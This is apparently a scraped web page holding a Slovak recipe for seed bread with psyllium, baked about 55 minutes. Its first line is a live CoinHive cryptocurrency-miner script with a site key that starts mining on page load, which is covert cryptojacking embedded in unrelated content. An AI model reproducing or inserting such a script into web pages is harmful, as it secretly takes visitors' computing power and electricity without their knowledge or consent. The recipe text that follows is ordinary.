var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 1,5 hrnčeka pomletých semienok (alebo 1 hrnček semienok + 0,5 hrnčeka pohánkovej múky), 2 vajíčka, 2,5 PL octu, 2 KL prášku do pečiva, 5 PL psyllia, 1 KL soli, 1 hrnček vriacej vody

Postup: Semienka si namelieme v kávovom alebo stolovom mixéri. Môžeme dať mix - ľanové, tekvicové, sezamové, slnečnicové a pod. Nemusia byť namleté najemno, môžu tam byť ja celé semienka. Ďalej ich zmiešame s ostatnými surovinami, prilejeme horúcu vodu a dobre premiešame. Vytvarujeme bochník. Dáme ho na plech, na papier na pečenie alebo do vhodnej formy, napr. do jenskej misy. Pečieme v predhritrej rúre cca 55 minút na 180-200˚C, podľa rúry. Ja zvyknem prvú polhodinku piecť zakryté. Nerozkrajujte, kým chlieb úplne nevychladne!